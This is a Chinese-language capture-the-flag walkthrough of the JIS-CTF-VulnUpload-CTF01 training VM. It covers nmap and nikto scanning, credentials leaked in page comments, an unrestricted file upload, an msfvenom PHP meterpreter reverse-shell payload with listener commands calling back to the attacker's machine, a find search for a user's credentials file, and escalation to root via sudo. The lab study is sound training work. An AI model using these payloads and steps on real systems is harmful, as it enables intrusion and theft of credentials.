靶机渗透训练——JIS-CTF-VulnUpload-CTF01


本章概述:这是一篇关于JIS-CTF-VulnUpload-CTF01靶机训练的文章


1、前提准备

靶机文件下载好之后,导入虚拟机。
不过这个靶机有点小问题,一开始网卡起不来,上网找了找解决方法。
解决方法:

1
2
3
4
5
6
7
8
#账号口令 technawi - 3vilH@ksor
# 启用网卡
sudo ifconfig ens33 up
# 分配IP
sudo dhclient
# 在/etc/network/interfaces文件添加相关信息
auto ens33
iface ens33 inet dhcp

另外需要一台攻击机,这里我用的是kali。

2、主机发现

一开始我们是不知道这个靶机的ip地址的,因此我们需要先对网段进行扫描

1
nmap -sP 192.168.110.0/24

kali的ip是192.168.110.128,靶机的ip是192.168.110.130

3、端口扫描

存活端口扫描,他这里并没有做任何的限制,因此我们直接扫描就可以了

1
nmap 192.168.110.130

有80 http以及22 ssh两个端口存活。
我们试着访问80端口

自动跳转到一个登陆页面,不知道账号密码,同时源码中也没有其他有用的信息。

4、目录扫描

一开始使用的是dirb工具来扫,但是扫完发现文件太多了。
因此后面使用另一个扫描工具扫——nikto

1
nikto -h http://192.168.110.130 > nikto扫描结果.txt

将扫描结果进行整理,有用的路径如下:

1
2
3
4
5
http://192.168.110.130/admin_area
http://192.168.110.130/flag
http://192.168.110.130/robots.txt
http://192.168.110.130/login.php
http://192.168.110.130/uploaded_files

http://192.168.110.130/admin_area源代码中发现如下信息:

1
2
3
4
<!--    username : admin
password : 3v1l_H@ck3r
The 2nd flag is : {7412574125871236547895214}
-->

http://192.168.110.130/flag发现:

1
The 1st flag is : {8734509128730458630012095}

login.php是一开始我们就看到的登录页面,uploaded_files为空,暂时不知道这个文件是干嘛的。rebots.txt记录了一些目录信息
到这里我们已经找到了两个flag

5、上传文件

上面目录扫描的时候,有发现账号密码,用这个账号密码登录后发现这是一个上传文件的页面。

我们试着上传一个文件,1.txt,并用bp抓包

更改数据包的一些信息,发现仍然可以上传成功,因此这里的上传点并没有做限制

用msfvenom生成php木马并上传上去。

1
msfvenom -p  php/meterpreter/reverse_tcp  lhost=192.168.110.128 lport=8888 -f raw -o z7sz.php

用msfconsole去监听。

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.110.128
set LPORT 8888
exploit

之后访问我们上传的木马就可以监听到了,这里有个问题就是我们并不知道上传的文件放在哪里,结合上面的目录扫描中有一个奇怪的目录uploaded_files,试着访问http://192.168.110.130/uploaded_files/z7sz.php,访问成功,说明上传的文件是放在uploaded_files这个文件夹里面的。

反弹成功并拿到交互shell。
回到/var/www/html目录发现有个flag.txt文件,但是没有权限去访问

访问hint.txt文件

1
2
3
try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)

The 3rd flag is : {7645110034526579012345670}

拿到第三个flag并且提示我们要找到technawi的密码才能查看flag.txt,改密码放在一个隐秘的地方。
寻找用户名为technawi并且我们有权限访问的文件。

1
find / -user technawi |grep -v "Permission" >1.txt

credentials.txt中发现第四个flag以及technawi的密码。

1
2
3
4
The 4th flag is : {7845658974123568974185412}

username : technawi
password : 3vilH@ksor

登录进该用户,查看flag.txt,拿到第五个flag

到这里整个靶机已经打完了,该用户还不是root用户,本着打到底的想法,提权到root用户,用sudo -l查看一下sudo的权限,结果发现该用户拥有完整的sudo权限,直接sudo su等到进root用户。

6、总结

这个靶机实际上是一个比较基础的靶机,针对的是文件上传漏洞,文件上传位置一定要控制好权限等问题。其他的也没什么可以说的。